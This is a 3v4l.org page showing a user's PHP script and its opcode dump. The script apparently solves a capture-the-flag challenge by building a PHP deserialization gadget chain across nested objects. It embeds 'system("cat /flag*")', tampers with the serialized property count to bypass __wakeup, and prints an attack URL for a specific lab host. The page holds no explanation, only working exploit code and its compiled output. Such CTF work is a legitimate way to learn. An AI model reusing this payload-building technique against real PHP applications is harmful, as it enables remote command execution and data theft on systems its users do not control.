3v4l.org

run code in 500+ PHP versions simultaneously
http://home.edu.ltsec.com:51281/<?php class Water{public $waterfall;} class Circle{ public $daemon; protected $dash; public function setDash($v){$this->dash=$v;} } class Range{public $horis;public $link;} class Sliver{public $secret;public $resty;} $circle=new Circle();$circle->setDash('system("cat /flag*");'); $water=new Water();$water->waterfall=$circle; $range=new Range();$range->link=$water; $sliver=new Sliver();$sliver->secret=$range; $payload=serialize($sliver); $payload=str_replace('O:6:"Sliver":2:','O:6:"Sliver":1:',$payload); echo "http://home.edu.ltsec.com:51281/?data=".urlencode($payload); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/vPKTT
function name:  (null)
number of ops:  35
compiled vars:  !0 = $circle, !1 = $water, !2 = $range, !3 = $sliver, !4 = $payload
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                         'http%3A%2F%2Fhome.edu.ltsec.com%3A51281%2F'
   11     1        NEW                                                  $5      'Circle'
          2        DO_FCALL                                          0          
          3        ASSIGN                                                       !0, $5
          4        INIT_METHOD_CALL                                             !0, 'setDash'
          5        SEND_VAL_EX                                                  'system%28%22cat+%2Fflag%2A%22%29%3B'
          6        DO_FCALL                                          0          
   12     7        NEW                                                  $9      'Water'
          8        DO_FCALL                                          0          
          9        ASSIGN                                                       !1, $9
         10        ASSIGN_OBJ                                                   !1, 'waterfall'
         11        OP_DATA                                                      !0
   13    12        NEW                                                  $13     'Range'
         13        DO_FCALL                                          0          
         14        ASSIGN                                                       !2, $13
         15        ASSIGN_OBJ                                                   !2, 'link'
         16        OP_DATA                                                      !1
   14    17        NEW                                                  $17     'Sliver'
         18        DO_FCALL                                          0          
         19        ASSIGN                                                       !3, $17
         20        ASSIGN_OBJ                                                   !3, 'secret'
         21        OP_DATA                                                      !2
   15    22        INIT_FCALL                                                   'serialize'
         23        SEND_VAR                                                     !3
         24        DO_ICALL                                             $21     
         25        ASSIGN                                                       !4, $21
   16    26        FRAMELESS_ICALL_3                str_replace         ~23     'O%3A6%3A%22Sliver%22%3A2%3A', 'O%3A6%3A%22Sliver%22%3A1%3A'
         27        OP_DATA                                                      !4
         28        ASSIGN                                                       !4, ~23
   17    29        INIT_FCALL                                                   'urlencode'
         30        SEND_VAR                                                     !4
         31        DO_ICALL                                             $25     
         32        CONCAT                                               ~26     'http%3A%2F%2Fhome.edu.ltsec.com%3A51281%2F%3Fdata%3D', $25
         33        ECHO                                                         ~26
   18    34      > RETURN                                                       1

Class Water: [no user functions]
Class Circle:
Function setdash:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/vPKTT
function name:  setDash
number of ops:  4
compiled vars:  !0 = $v
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    6     0  E >   RECV                                                 !0      
          1        ASSIGN_OBJ                                                   'dash'
          2        OP_DATA                                                      !0
          3      > RETURN                                                       null

End of function setdash

End of class Circle.

Class Range: [no user functions]
Class Sliver: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
159.94 ms | 1360 KiB | 15 Q